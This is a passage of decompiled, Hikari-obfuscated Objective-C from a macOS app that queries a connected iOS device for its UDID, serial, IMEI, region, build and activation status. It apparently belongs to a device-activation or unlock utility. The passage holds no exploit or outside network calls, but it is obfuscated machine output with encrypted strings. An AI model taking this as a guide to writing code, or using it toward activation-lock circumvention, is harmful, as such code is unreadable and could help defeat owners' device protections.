objc_retainAutoreleasedReturnValue(v143);
*v212 = 1084270895;
}
else if ( v177 == -631175580 )
{
*v212 = -1537641234;
}
}
else if ( v177 > -254957075 )
{
if ( v177 > -185538753 )
{
if ( v177 <= -92232625 )
{
switch ( v177 )
{
case -185538752:
v10 = 0;
v4 = -2049213024;
v11 = 1970606246;
goto LABEL_549;
case -133941540:
*v212 = -1820155482;
break;
case -112745520:
v13 = 1;
v4 = -602403542;
v14 = -495987015;
goto LABEL_543;
}
}
else if ( v177 > -51697045 )
{
if ( v177 == -51697044 )
{
v13 = 1;
v4 = 2053397001;
v14 = -2075154351;
LABEL_543:
if ( v13 )
v4 = v14;
goto LABEL_551;
}
if ( v177 == -38274818 )
{
v10 = 0;
v4 = -2082126662;
v11 = 1777865223;
goto LABEL_549;
}
}
else
{
if ( v177 == -92232624 )
{
v3 = 0;
v4 = -1822078596;
v5 = 1687579180;
LABEL_533:
if ( !v3 )
v4 = v5;
goto LABEL_551;
}
if ( v177 == -74883169 )
{
v8 = 0;
v182 = *p_var1;
v4 = -74883169;
v9 = -1949708360;
goto LABEL_537;
}
}
}
else if ( v177 <= -234960924 )
{
switch ( v177 )
{
case -254957074:
v13 = 1;
v4 = -2074539281;
v14 = -1541357432;
goto LABEL_543;
case -253879301:
v4 = 1109505954;
if ( var1 < 2 )
v4 = -329520263;
LABEL_551:
*v212 = v4;
break;
case -244802137:
dword_10029F53C = 1;
*v212 = 1270721315;
break;
}
}
else if ( v177 > -226621020 )
{
if ( v177 == -226621019 )
{
v10 = 0;
v4 = 1383931361;
v11 = 234216007;
goto LABEL_549;
}
if ( v177 == -214734109 )
*v212 = -351318906;
}
else if ( v177 == -234960923 )
{
connected = 1;
*v212 = 1277474612;
}
else if ( v177 == -228998911 )
{
v10 = 0;
v4 = -32398495;
v11 = -556477397;
goto LABEL_549;
}
}
else if ( v177 > -346826003 )
{
if ( v177 <= -321291184 )
{
switch ( v177 )
{
case -346826002:
*v212 = -1026787320;
break;
case -329520263:
v10 = var1 == 1;
v4 = 970206274;
v11 = -352526329;
goto LABEL_549;
case -326157685:
idevice = (__int64)CFArrayGetValueAtIndex(*v195, 0);
objc_msgSend(v199, "refreshDeviceSession");
AMDeviceCopyValue(idevice);
HikariFunctionWrapper_17149(&OBJC_CLASS___iOSDevice, "setUDID:");
v18 = AMDeviceCopyValue(idevice);
v8 = 0;
v161 = (__CFString *)v18;
v4 = 686751938;
v9 = 1419533857;
goto LABEL_537;
}
}
else if ( v177 > -285721582 )
{
if ( v177 == -285721581 )
{
v151 = (unsigned __int8)objc_msgSend(v168, v155, &stru_10025B688);
objc_release(v168);
objc_release(v181);
v10 = v151 == 0;
v4 = 2061047508;
v11 = -1404118446;
LABEL_549:
if ( v10 )
v4 = v11;
goto LABEL_551;
}
if ( v177 == -271358560 )
*v212 = 2139969318;
}
else
{
if ( v177 == -321291183 )
{
objc_release(v181);
v8 = 1;
v4 = -3081002;
v9 = -1625230240;
goto LABEL_537;
}
if ( v177 == -303872015 )
{
v15 = objc_msgSend(&OBJC_CLASS___iOSDevice, v154);
v186 = objc_retainAutoreleasedReturnValue(v15);
*v212 = 460857276;
}
}
}
else if ( v177 <= -439088558 )
{
switch ( v177 )
{
case -495987015:
objc_msgSend(v190, v189, 0);
v8 = 1;
v4 = -133941540;
v9 = -602403542;
goto LABEL_537;
case -462323284:
*v212 = 2453888;
break;
case -461830157:
v13 = 1;
v4 = -1441882463;
LABEL_357:
v14 = 1703865302;
goto LABEL_543;
}
}
else if ( v177 > -352526330 )
{
if ( v177 == -352526329 )
{
v8 = 1;
v4 = -1725638767;
v9 = 1525590036;
goto LABEL_537;
}
if ( v177 == -351318906 )
{
v13 = 1;
var1 = v174->var1;
v4 = -214734109;
v14 = 2102743237;
goto LABEL_543;
}
}
else
{
if ( v177 == -439088557 )
{
v3 = v209 == 0;
v4 = -1332613908;
v5 = -1210101757;
goto LABEL_533;
}
if ( v177 == -395307709 )
{
v3 = 0;
v4 = -395307709;
v5 = 1489222454;
goto LABEL_533;
}
}
}
if ( v177 <= 1111503950 )
break;
if ( v177 <= 1709863156 )
{
if ( v177 <= 1383931360 )
{
if ( v177 <= 1273278508 )
{
if ( v177 > 1226473726 )
{
switch ( v177 )
{
case 1226473727:
*v212 = 644394327;
break;
case 1233330656:
v95 = objc_msgSend(v162, v179);
v96 = objc_retainAutoreleasedReturnValue(v95);
v97 = UDID_DEVICE;
UDID_DEVICE = v96;
objc_release(v97);
AMDeviceCopyValue(idevice);
*v212 = -1790742372;
break;
case 1270721315:
dword_10029F53C = 1;
v196 = &v153;
v197 = &v153;
v195 = (CFArrayRef *)(&v153 - 2);
*v212 = -1227657889;
break;
}
}
else
{
switch ( v177 )
{
case 1111503951:
v13 = 1;
v169 = "NSControlUpdateProgress:withStatus:";
v4 = 1111503951;
v14 = -772992787;
goto LABEL_543;
case 1164434844:
objc_release(v183);
LABEL_436:
*v212 = -1891774793;
break;
case 1208453169:
v10 = 0;
v4 = 2042519416;
v11 = -1351366553;
goto LABEL_549;
}
}
}
else if ( v177 <= 1288288960 )
{
switch ( v177 )
{
case 1273278509:
*v212 = -321291183;
break;
case 1275607350:
*v212 = -1771195099;
break;
case 1277474612:
connected = 1;
*v212 = 1646827785;
break;
}
}
else if ( v177 > 1331410159 )
{
if ( v177 == 1331410160 )
{
*v212 = -812281781;
}
else if ( v177 == 1348366235 )
{
objc_msgSend(v188, v189, 1);
objc_release(v188);
v23 = HikariFunctionWrapper_17245(&OBJC_CLASS___iOSDevice, v180);
v24 = objc_retainAutoreleasedReturnValue(v23);
v25 = v199;
HikariFunctionWrapper_17247(
v199,
"updateDeviceImageForClass:andProductType:andDeviceColor:andColor2:");
objc_release(v24);
v26 = HikariFunctionWrapper_17249(v25, "panel_viewConnection");
v27 = objc_retainAutoreleasedReturnValue(v26);
objc_msgSend(v27, "selectTabViewItemAtIndex:", 1);
objc_release(v27);
v28 = objc_msgSend(&OBJC_CLASS___iOSDevice, v164);
v29 = objc_retainAutoreleasedReturnValue(v28);
objc_msgSend(v29, "isEqual:", &stru_10025B688);
*v212 = -1929966660;
}
}
else
{
if ( v177 == 1288288961 )
{
v3 = !v204;
v4 = -1883602360;
v5 = 1273278509;
goto LABEL_533;
}
if ( v177 == 1330119858 )
{
*v196 = (__int64)CFSTR("\xBB\x13\xCA\x16?\x80m\x83\xF8");
v197[1] = (__int64)CFSTR("\xC9\x11E醘\xBBAc\xD8\x46o\xFC\xA8d\xFAZD\x9E\x9E");
v196[1] = (__int64)CFSTR("GQ`J\xDB\x49\xF0\x1D\xEB\x67Vz\b\xCD\x28\x8B#e\xC8\xEB");
v12 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v196,
v197,
2);
objc_retainAutoreleasedReturnValue(v12);
AMDCopyArrayOfDevicesMatchingQuery(0);
*v212 = 1810109675;
}
}
}
else if ( v177 > 1549034521 )
{
if ( v177 <= 1652363665 )
{
switch ( v177 )
{
case 1549034522:
ct = 0;
*v212 = -1516897479;
break;
case 1604161168:
v3 = 0;
v4 = 686751938;
v5 = -326157685;
goto LABEL_533;
case 1646827785:
*v212 = -1327709816;
break;
}
}
else if ( v177 > 1687579179 )
{
if ( v177 == 1687579180 )
{
v13 = 0;
v4 = 245335019;
v14 = 1687579180;
goto LABEL_543;
}
if ( v177 == 1703865302 )
{
v13 = 0;
v4 = 321980908;
goto LABEL_357;
}
}
else if ( v177 == 1652363666 )
{
v141 = objc_msgSend(v199, v166);
v190 = objc_retainAutoreleasedReturnValue(v141);
*v212 = 982721662;
}
else if ( v177 == 1657917025 )
{
*v212 = -395307709;
}
}
else if ( v177 <= 1495387030 )
{
switch ( v177 )
{
case 1383931361:
v13 = 1;
v189 = "setEnabled:";
v4 = 1383931361;
v14 = 45142089;
goto LABEL_543;
case 1419533857:
*v212 = -228998911;
break;
case 1489222454:
goto LABEL_296;
}
}
else if ( v177 > 1540745662 )
{
if ( v177 == 1540745663 )
{
*v212 = -1090629524;
}
else if ( v177 == 1542586212 )
{
p_var1 = (id *)&var0->var1;
*v212 = -499208771;
}
}
else
{
if ( v177 == 1495387031 )
{
v183 = v173;
v138 = objc_msgSend(&OBJC_CLASS___iOSDevice, v157);
v139 = objc_retainAutoreleasedReturnValue(v138);
v140 = (unsigned __int8)objc_msgSend(v183, "isEqualToString:", v139);
objc_release(v139);
v10 = v140 == 0;
v4 = -1565048796;
v11 = -1210101757;
goto LABEL_549;
}
if ( v177 == 1525590036 )
{
*v197 = (__int64)CFSTR("\x97\xFCzQ\x7F'<|\x19\xDC\x48L&");
*v212 = -1725638767;
}
}
}
else if ( v177 > 1987140298 )
{
if ( v177 > 2070330408 )
{
if ( v177 <= 2089902283 )
{
switch ( v177 )
{
case 2070330409:
*v212 = 399688659;
break;
case 2081077770:
aIY[1] = v210;
aIY[2] = 116;
aIY[3] = 105;
aIY[4] = 118;
aIY[5] = 97;
aIY[6] = 116;
aIY[7] = 101;
aIY[8] = 100;
v13 = 0;
aIY[9] = 0;
v211 = 80;
v4 = -575789944;
v14 = 2081077770;
goto LABEL_543;
case 2086828236:
HikariFunctionWrapper_17213(theArray);
*v212 = -1411804773;
break;
}
}
else if ( v177 > 2102743236 )
{
if ( v177 == 2102743237 )
{
*v212 = -1009751944;
}
else if ( v177 == 2139969318 )
{
*v212 = 970206274;
}
}
else
{
if ( v177 == 2089902284 )
{
v10 = 0;
v4 = -2044474326;
v11 = -1535307590;
goto LABEL_549;
}
if ( v177 == 2099036632 )
*v212 = 624176959;
}
}
else if ( v177 <= 2053397000 )
{
switch ( v177 )
{
case 1987140299:
aIY[1] = v210;
aIY[2] = 116;
aIY[3] = 105;
aIY[4] = 118;
aIY[5] = 97;
aIY[6] = 116;
aIY[7] = 101;
aIY[8] = 100;
aIY[9] = 0;
*v212 = 2081077770;
break;
case 2038181305:
v8 = 0;
v4 = -1160730043;
v9 = 310916450;
goto LABEL_537;
case 2042519416:
objc_release(v159);
v8 = 0;
v4 = -1351366553;
v9 = -271358560;
goto LABEL_537;
}
}
else if ( v177 > 2069087290 )
{
if ( v177 == 2069087291 )
{
objc_release(v185);
v8 = 1;
v4 = -1058804039;
v9 = 2069087291;
goto LABEL_537;
}
if ( v177 == 2069507138 )
*v212 = 2089902284;
}
else if ( v177 == 2053397001 )
{
objc_msgSend(
v192,
v169,
CFSTR("\x7F\x17Q\x01Y\xC1\xD8\x94\xB4\xCB\x4F'z\xBE\xF6\x86\xA8\xAA\x0F\xB4\x8F\x90\xBE\x9A>/N\xC6\x3C\xAD\xBA\xFB\xFAt5\\\xF5\x2F\xF1\x138\xF2\x0A\xBF\x1A\xEB\xC2\x35O\xF4\xD5\xC2\x26\xFET}\"\tž\x9D\x13\xF4\x06\xA9\x3AQ\xB3\xD9\xEF}m)\xD6\x40\xB3\xE3\x11\x93\xF1\x45\xE8\x45a\xDA\x66"),
CFSTR("\x06\xEF\xA5\x28\x95\x1C\x93^"));
*v212 = -2075154351;
}
else if ( v177 == 2061047508 )
{
v8 = 0;
v4 = 1891748882;
v9 = 1652363666;
goto LABEL_537;
}
}
else if ( v177 > 1858429463 )
{
if ( v177 <= 1891748881 )
{
switch ( v177 )
{
case 1858429464:
objc_release(v185);
*v212 = 2069087291;
break;
case 1872799921:
*v212 = -439088557;
break;
case 1881209322:
v3 = 0;
v4 = -1280662957;
v5 = -627617174;
goto LABEL_533;
}
}
else if ( v177 > 1953827606 )
{
if ( v177 == 1953827607 )
{
+[iOSDevice setSerialNumber:](&OBJC_CLASS___iOSDevice, "setSerialNumber:", 0);
AMDeviceDisconnect(idevice);
HikariFunctionWrapper_17207(AldazDevClass, "NSControlUpdateProgress:withStatus:");
WeakRetained = objc_loadWeakRetained((id *)v199 + 14);
*v212 = 2038181305;
}
else if ( v177 == 1970606246 )
{
+[iOSDevice setActStatus:](&OBJC_CLASS___iOSDevice, "setActStatus:", v163);
v31 = (void *)HikariFunctionWrapper_17221(idevice);
HikariFunctionWrapper_17223(&OBJC_CLASS___iOSDevice, "setIMEI:");
objc_release(v31);
v32 = (__CFString *)AMDeviceCopyValue(idevice);
v33 = v32;
if ( !v32 )
v33 = &stru_10025B688;
objc_retain(v33);
v34 = imei2;
imei2 = v33;
objc_release(v34);
objc_release(v32);
v35 = (void *)AMDeviceCopyValue(idevice);
HikariFunctionWrapper_17225(&OBJC_CLASS___iOSDevice, "setRegionCode:");
objc_release(v35);
v36 = AMDeviceCopyValue(idevice);
+[iOSDevice setProductType:](&OBJC_CLASS___iOSDevice, "setProductType:", v36);
v37 = AMDeviceCopyValue(idevice);
v38 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xD2\x373"),
v37);
v39 = objc_retainAutoreleasedReturnValue(v38);
+[iOSDevice setIOSVersion:](&OBJC_CLASS___iOSDevice, "setIOSVersion:", v39);
objc_release(v39);
v40 = (void *)AMDeviceCopyValue(idevice);
v41 = DeviceClass;
DeviceClass = v40;
objc_release(v41);
v42 = (void *)HikariFunctionWrapper_17227(idevice);
v43 = objc_msgSend(
v42,
"stringByReplacingOccurrencesOfString:withString:",
CFSTR("\xA8\x9D"),
&stru_10025B688);
objc_retainAutoreleasedReturnValue(v43);
objc_release(v42);
v44 = (void *)AMDeviceCopyValue(idevice);
v45 = HikariFunctionWrapper_17229(v44, "stringByReplacingOccurrencesOfString:withString:");
objc_retainAutoreleasedReturnValue(v45);
objc_release(v44);
v46 = (void *)AMDeviceCopyValue(idevice);
v47 = armClass;
armClass = v46;
objc_release(v47);
AMDeviceCopyValue(idevice);
v48 = HikariFunctionWrapper_17231(&OBJC_CLASS___NSString, "stringWithFormat:");
v49 = objc_retainAutoreleasedReturnValue(v48);
HikariFunctionWrapper_17233(&OBJC_CLASS___iOSDevice, "setUniqueKeyAuth:");
objc_release(v49);
v50 = HikariFunctionWrapper_17235(idevice);
v51 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xD2\x373"),
v50);
v52 = objc_retainAutoreleasedReturnValue(v51);
v53 = BUILD;
BUILD = v52;
objc_release(v53);
v54 = HikariFunctionWrapper_17237(&OBJC_CLASS___iOSDevice, "ProductType");
v55 = objc_retainAutoreleasedReturnValue(v54);
v56 = DetermineModel(v55);
v57 = objc_retainAutoreleasedReturnValue(v56);
+[iOSDevice setModel:](&OBJC_CLASS___iOSDevice, "setModel:", v57);
objc_release(v57);
objc_release(v55);
v58 = HikariFunctionWrapper_17239(&OBJC_CLASS___iOSDevice, "UniqueKeyAuth");
v59 = objc_retainAutoreleasedReturnValue(v58);
objc_release(v59);
*v212 = -2049213024;
}
}
else if ( v177 == 1891748882 )
{
v142 = objc_msgSend(v199, v166);
objc_retainAutoreleasedReturnValue(v142);
*v212 = 1652363666;
}
else if ( v177 == 1912895720 )
{
*v212 = 1208453169;
}
}
else if ( v177 <= 1749687322 )
{
switch ( v177 )
{
case 1709863157:
*v212 = -1210101757;
break;
case 1711622428:
*v212 = 1111503951;
break;
case 1725377519:
*v212 = 1495387031;
v173 = v182;
break;
}
}
else if ( v177 > 1781218976 )
{
if ( v177 == 1781218977 )
{
v13 = 0;
v4 = -1111272986;
v14 = 1061461498;
goto LABEL_543;
}
if ( v177 == 1810109675 )
{
*v196 = (__int64)CFSTR("\xBB\x13\xCA\x16?\x80m\x83\xF8");
v197[1] = (__int64)CFSTR("\xC9\x11E醘\xBBAc\xD8\x46o\xFC\xA8d\xFAZD\x9E\x9E");
v196[1] = (__int64)CFSTR("GQ`J\xDB\x49\xF0\x1D\xEB\x67Vz\b\xCD\x28\x8B#e\xC8\xEB");
v30 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v196,
v197,
2);
v159 = objc_retainAutoreleasedReturnValue(v30);
HikariFunctionWrapper_17147(0);
theArray = *v195;
*v212 = 462370572;
}
}
else
{
if ( v177 == 1749687323 )
{
v3 = !v200;
v4 = 1026243471;
v5 = 793785923;
goto LABEL_533;
}
if ( v177 == 1777865223 )
*v212 = -2082126662;
}
}
if ( v177 > 601937831 )
break;
if ( v177 <= 321980907 )
{
if ( v177 <= 79894301 )
{
if ( v177 > 45142088 )
{
switch ( v177 )
{
case 45142089:
*v212 = 442716123;
break;
case 58255063:
v117 = (void **)v199;
v118 = objc_loadWeakRetained((id *)v199 + 14);
v119 = HikariFunctionWrapper_17175(&OBJC_CLASS___NSImage, "imageNamed:");
v120 = objc_retainAutoreleasedReturnValue(v119);
HikariFunctionWrapper_17177(v118, "setImage:");
objc_release(v120);
objc_release(v118);
v121 = +[iOSDevice Model](&OBJC_CLASS___iOSDevice, "Model");
v122 = objc_retainAutoreleasedReturnValue(v121);
HikariFunctionWrapper_17179(v117[1], "setStringValue:");
objc_release(v122);
v123 = +[iOSDevice iOSVersion](&OBJC_CLASS___iOSDevice, "iOSVersion");
v124 = objc_retainAutoreleasedReturnValue(v123);
objc_msgSend(v117[6], "setStringValue:", v124);
objc_release(v124);
v125 = objc_msgSend(&OBJC_CLASS___iOSDevice, v180);
v126 = objc_retainAutoreleasedReturnValue(v125);
objc_msgSend(v117[2], "setStringValue:", v126);
objc_release(v126);
v164 = "SerialNumber";
v127 = +[iOSDevice SerialNumber](&OBJC_CLASS___iOSDevice, "SerialNumber");
v128 = objc_retainAutoreleasedReturnValue(v127);
objc_msgSend(v117[3], "setStringValue:", v128);
objc_release(v128);
v165 = "IMEI";
v129 = HikariFunctionWrapper_17181(&OBJC_CLASS___iOSDevice, "IMEI");
v130 = objc_retainAutoreleasedReturnValue(v129);
objc_msgSend(v117[4], "setStringValue:", v130);
objc_release(v130);
v131 = objc_msgSend(&OBJC_CLASS___iOSDevice, v179);
v132 = objc_retainAutoreleasedReturnValue(v131);
objc_msgSend(v117[5], "setStringValue:", v132);
objc_release(v132);
v133 = +[iOSDevice RegionCode](&OBJC_CLASS___iOSDevice, "RegionCode");
v134 = objc_retainAutoreleasedReturnValue(v133);
HikariFunctionWrapper_17183(v117[7], "setStringValue:");
objc_release(v134);
v135 = HikariFunctionWrapper_17185(&OBJC_CLASS___iOSDevice, "RegionCode");
v136 = objc_retainAutoreleasedReturnValue(v135);
NSLog(
CFSTR("\xDE\x22EC\xA7\xA4|\xF3\xDA\x39\xFA7\x06\x85[\x88\xFC\xDC\x2C\tH\xF8\x85U\x86\xEB\xFB\x92Q;"),
v136,
BUILD);
objc_release(v136);
ct = 1;
connected = 1;
v166 = "activateButton";
v137 = objc_msgSend(v117, "activateButton");
v188 = objc_retainAutoreleasedReturnValue(v137);
*v212 = -226621019;
break;
case 60415878:
v3 = 0;
v4 = -214734109;
v5 = -351318906;
goto LABEL_533;
}
}
else
{
switch ( v177 )
{
case -32398495:
v152 = v161;
if ( !v161 )
v152 = &stru_10025B688;
+[iOSDevice setSerialNumber:](&OBJC_CLASS___iOSDevice, "setSerialNumber:", v152);
v10 = 0;
v202 = InProcessDevice;
v4 = -969386960;
v11 = -32398495;
goto LABEL_549;
case -3081002:
*v212 = -92232624;
break;
case 2453888:
v8 = 0;
v4 = 1330119858;
v9 = 1810109675;
goto LABEL_537;
}
}
}
else if ( v177 <= 234216006 )
{
switch ( v177 )
{
case 79894302:
v3 = 0;
v4 = 768964643;
v5 = -1817277970;
goto LABEL_533;
case 224627293:
v98 = (unsigned __int8)HikariFunctionWrapper_17199(v193, v172);
objc_release(v193);
v207 = v98 == 0;
v8 = 1;
v4 = 590903469;
v9 = 224627293;
goto LABEL_537;
case 233122585:
*v212 = -1394631854;
break;
}
}
else if ( v177 > 310916449 )
{
if ( v177 == 310916450 )
{
v144 = +[NSImage imageNamed:](
&OBJC_CLASS___NSImage,
"imageNamed:",
CFSTR("\xCF\x0D\x93XR\xBDA\xD6\x1D\x91\xE8\xE4\x27\xBD^\r\x15l"));
v145 = objc_retainAutoreleasedReturnValue(v144);
objc_msgSend(WeakRetained, "setImage:", v145);
objc_release(v145);
objc_release(WeakRetained);
v146 = HikariFunctionWrapper_17209(v199, "panel_viewConnection");
v147 = objc_retainAutoreleasedReturnValue(v146);
HikariFunctionWrapper_17211(v147, "selectTabViewItemAtIndex:");
objc_release(v147);
v148 = objc_msgSend(v199, "Progress");
v149 = objc_retainAutoreleasedReturnValue(v148);
objc_msgSend(v149, "setHidden:", 1);
objc_release(v149);
v10 = 0;
v4 = 1709863157;
v11 = -1160730043;
goto LABEL_549;
}
if ( v177 == 311879686 )
{
objc_release(v190);
objc_msgSend(
AldazDevClass,
"NSControlUpdateProgress:withStatus:",
CFSTR("\x90\xFD;\x16\xB7\xA6\xA2\xC9\x5Ey \x16\xB6Y\x97\fD۹\f"),
CFSTR("\x03\x91\xAF\xBB!\xA8"));
*v212 = 601937832;
}
}
else if ( v177 == 234216007 )
{
*v212 = 1383931361;
}
else if ( v177 == 245335019 )
{
*v212 = -1404118446;
}
}
else if ( v177 > 462370571 )
{
if ( v177 <= 533237162 )
{
if ( v177 == 462370572 )
{
*v212 = 934136594;
}
else if ( v177 == 477649090 || v177 == 498944780 )
{
LABEL_296:
*v212 = -1250968578;
}
}
else if ( v177 > 562417930 )
{
if ( v177 == 562417931 )
{
v13 = v175 < 0xBFD24996;
v4 = -631175580;
v14 = -1537641234;
goto LABEL_543;
}
if ( v177 == 590903469 )
{
v61 = 1542586212;
if ( v207 )
v61 = 1495387031;
*v212 = v61;
v173 = 0;
}
}
else
{
if ( v177 == 533237163 )
{
v13 = 0;
v4 = 224627293;
v14 = 869094825;
goto LABEL_543;
}
if ( v177 == 562165363 )
{
v8 = 1;
v4 = 1111503951;
v9 = 1711622428;
goto LABEL_537;
}
}
}
else if ( v177 <= 403635598 )
{
switch ( v177 )
{
case 321980908:
*v212 = 970206274;
break;
case 380174890:
*v212 = -922356759;
break;
case 399688659:
LABEL_332:
*v212 = -254957074;
break;
}
}
else if ( v177 > 460857275 )
{
if ( v177 == 460857276 )
{
v8 = 1;
v4 = 683912353;
LABEL_521:
v9 = -991275870;
LABEL_537:
if ( !v8 )
v4 = v9;
goto LABEL_551;
}
if ( v177 == 461341720 )
{
v3 = v202 == 0;
v4 = -1975343456;
v5 = 678840776;
goto LABEL_533;
}
}
else if ( v177 == 403635599 )
{
*v212 = -461830157;
}
else if ( v177 == 442716123 )
{
v10 = 0;
v4 = -1929966660;
v11 = 1348366235;
goto LABEL_549;
}
}
if ( v177 <= 822605438 )
break;
if ( v177 > 982721661 )
{
if ( v177 <= 1034915380 )
{
switch ( v177 )
{
case 982721662:
*v212 = -112745520;
break;
case 1026243471:
v10 = 0;
v4 = 1270721315;
v11 = -244802137;
goto LABEL_549;
case 1032879219:
strcpy(asc_10027C470, "MatchConnectionType");
strcpy(asc_10027C1C0, "Unsupported Device!");
strcpy(asc_10027C24F, "DeviceColor");
strcpy(asc_10027C3F0, "InternationalMobileEquipmentIdentity");
asc_10027C4F7[0] = 77;
asc_10027C4F7[1] = 97;
asc_10027C4F7[2] = 116;
asc_10027C4F7[3] = 99;
asc_10027C4F7[4] = 104;
asc_10027C4F7[5] = 65;
asc_10027C4F7[6] = 108;
asc_10027C4F7[7] = 108;
asc_10027C4F7[8] = 0;
strcpy(asc_10027C330, "InternationalMobileEquipmentIdentity2");
strcpy(aE_16, "BuildVersion");
asc_100279FD9[0] = 37;
asc_100279FD9[1] = 64;
asc_100279FD9[2] = 0;
strcpy(asc_10027C281, "DeviceClass");
strcpy(asc_10027C2D3, "ProductType");
strcpy(aC_11, "RegionInfo");
strcpy(asc_10027C268, "MatchingMode");
strcpy(aG7, "No Device Connected, Plug It In!");
aIY[0] = 65;
v3 = 0;
v210 = 99;
v4 = 1032879219;
v5 = 1226473727;
goto LABEL_533;
}
}
else if ( v177 > 1084270894 )
{
if ( v177 == 1084270895 )
{
v93 = HikariFunctionWrapper_17193(&OBJC_CLASS___iOSDevice, "ActStatus");
v94 = objc_retainAutoreleasedReturnValue(v93);
v8 = 1;
v191 = v94;
v4 = 2069507138;
v9 = 1084270895;
goto LABEL_537;
}
if ( v177 == 1109505954 )
{
v10 = var1 == 2;
v4 = 970206274;
v11 = 635316002;
goto LABEL_549;
}
}
else
{
if ( v177 == 1034915381 )
{
v3 = !v201;
v4 = -254957074;
v5 = 1604161168;
goto LABEL_533;
}
if ( v177 == 1061461498 )
*v212 = -1111272986;
}
}
else if ( v177 <= 869094824 )
{
switch ( v177 )
{
case 822605439:
ct = 1;
*v212 = 854119875;
break;
case 824492881:
objc_retain(v182);
*v212 = -1597539611;
break;
case 854119875:
v8 = 0;
ct = 1;
v4 = 854119875;
v9 = -610160446;
goto LABEL_537;
}
}
else if ( v177 > 934136593 )
{
if ( v177 == 934136594 )
{
v8 = 0;
v4 = 2086828236;
v9 = -1411804773;
goto LABEL_537;
}
if ( v177 == 970206274 )
LABEL_404:
*v212 = 2099036632;
}
else if ( v177 == 869094825 )
{
objc_msgSend(v193, v172, &stru_10025B688);
objc_release(v193);
*v212 = 224627293;
}
else if ( v177 == 922759060 )
{
v3 = !v206;
v4 = 562165363;
v5 = -1939176361;
goto LABEL_533;
}
}
if ( v177 <= 678840775 )
break;
if ( v177 <= 768964642 )
{
switch ( v177 )
{
case 678840776:
v13 = 1;
v4 = 822605439;
v14 = 854119875;
goto LABEL_543;
case 683912353:
v62 = ucid_to_ecid(v186);
v63 = objc_retainAutoreleasedReturnValue(v62);
v8 = 1;
v187 = v63;
v4 = -1134702963;
goto LABEL_521;
case 686751938:
idevice = (__int64)CFArrayGetValueAtIndex(*v195, 0);
HikariFunctionWrapper_17215(v199, "refreshDeviceSession");
AMDeviceCopyValue(idevice);
HikariFunctionWrapper_17217(&OBJC_CLASS___iOSDevice, "setUDID:");
AMDeviceCopyValue(idevice);
*v212 = -326157685;
break;
}
}
else if ( v177 > 795399967 )
{
if ( v177 == 795399968 )
goto LABEL_404;
if ( v177 == 817793401 )
*v212 = -38274818;
}
else if ( v177 == 768964643 )
{
v116 = objc_msgSend(v167, v165);
objc_retainAutoreleasedReturnValue(v116);
*v212 = -1817277970;
}
else if ( v177 == 793785923 )
{
v10 = 0;
v4 = 1032879219;
v11 = -922091542;
goto LABEL_549;
}
}
if ( v177 > 624176958 )
break;
switch ( v177 )
{
case 601937832:
objc_release(v190);
objc_msgSend(
AldazDevClass,
"NSControlUpdateProgress:withStatus:",
CFSTR("\x90\xFD;\x16\xB7\xA6\xA2\xC9\x5Ey \x16\xB6Y\x97\fD۹\f"),
CFSTR("\x03\x91\xAF\xBB!\xA8"));
v10 = 0;
v4 = 498944780;
v11 = 311879686;
goto LABEL_549;
case 617040549:
objc_msgSend(v192, v170);
v13 = 1;
v4 = -1264141308;
v14 = -1921582943;
goto LABEL_543;
case 620164276:
v13 = 1;
v4 = -585349616;
v14 = -864138865;
goto LABEL_543;
}
}
if ( v177 <= 644394326 )
break;
if ( v177 == 644394327 )
{
v8 = 0;
v4 = 1987140299;
v9 = 2081077770;
goto LABEL_537;
}
if ( v177 == 651786118 )
{
v3 = 0;
v4 = -1919808563;
v5 = -911138644;
goto LABEL_533;
}
}
if ( v177 == 635316002 )
{
v3 = 0;
v4 = 1549034522;
v5 = -1516897479;
goto LABEL_533;
}
}
while ( v177 != 624176959 );
}
// 10025613E: using guessed type __int64 __fastcall AMDCopyArrayOfDevicesMatchingQuery(_QWORD);
// 10025615C: using guessed type __int64 __fastcall AMDeviceCopyValue(_QWORD);
// 10025616E: using guessed type __int64 __fastcall AMDeviceDisconnect(_QWORD);
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F9F8: using guessed type __objc2_class OBJC_CLASS___iOSDevice;
// 10027C5A0: using guessed type __CFString stru_10027C5A0;
// 10027C5E0: using guessed type __CFString cfstr_QY;
// 10027C620: using guessed type __CFString stru_10027C620;
// 10027C660: using guessed type __CFString cfstr_IY;
// 10027C6A0: using guessed type __CFString stru_10027C6A0;
// 10027C6E0: using guessed type __CFString stru_10027C6E0;
// 10027C8A0: using guessed type __CFString stru_10027C8A0;
// 10027C9A0: using guessed type __CFString stru_10027C9A0;
// 10027CAA0: using guessed type __CFString stru_10027CAA0;
// 10027CBA0: using guessed type __CFString stru_10027CBA0;
// 10027CC20: using guessed type __CFString stru_10027CC20;
// 10027CC60: using guessed type __CFString cfstr_GqJ;
// 10029F53C: using guessed type int dword_10029F53C;
// 10029F838: using guessed type int connected;
// 10029F83C: using guessed type int ct;
// 10029F840: using guessed type char InProcessDevice;
// 10029F898: using guessed type __int64 idevice;
//----- (00000001000F6D1C) ----------------------------------------------------
void __cdecl -[AppDelegate NSControlUpdateProgress:withStatus:](AppDelegate *self, SEL a2, id a3, id a4)
{
int v6; // eax
_QWORD block[4]; // [rsp+0h] [rbp-80h] BYREF
id v8; // [rsp+20h] [rbp-60h]
AppDelegate *v9; // [rsp+28h] [rbp-58h]
id v10; // [rsp+30h] [rbp-50h]
id v11; // [rsp+38h] [rbp-48h]
AppDelegate *v12; // [rsp+40h] [rbp-40h]
int v13; // [rsp+4Ch] [rbp-34h] BYREF
int *v14; // [rsp+50h] [rbp-30h]
v12 = self;
objc_retain(a3);
objc_retain(a4);
block[0] = _NSConcreteStackBlock;
block[1] = 3254779904LL;
block[2] = __50__AppDelegate_NSControlUpdateProgress_withStatus___block_invoke;
block[3] = &__block_descriptor_56_e8_32s40s48s_e5_v8__0l;
v13 = -331575838;
v14 = &v13;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v13 > 924262745 )
{
if ( v13 > 1701926106 )
{
if ( v13 == 1701926107 )
{
objc_release(v11);
objc_release(a3);
objc_release(a4);
goto LABEL_20;
}
if ( v13 == 2132641932 )
LABEL_20:
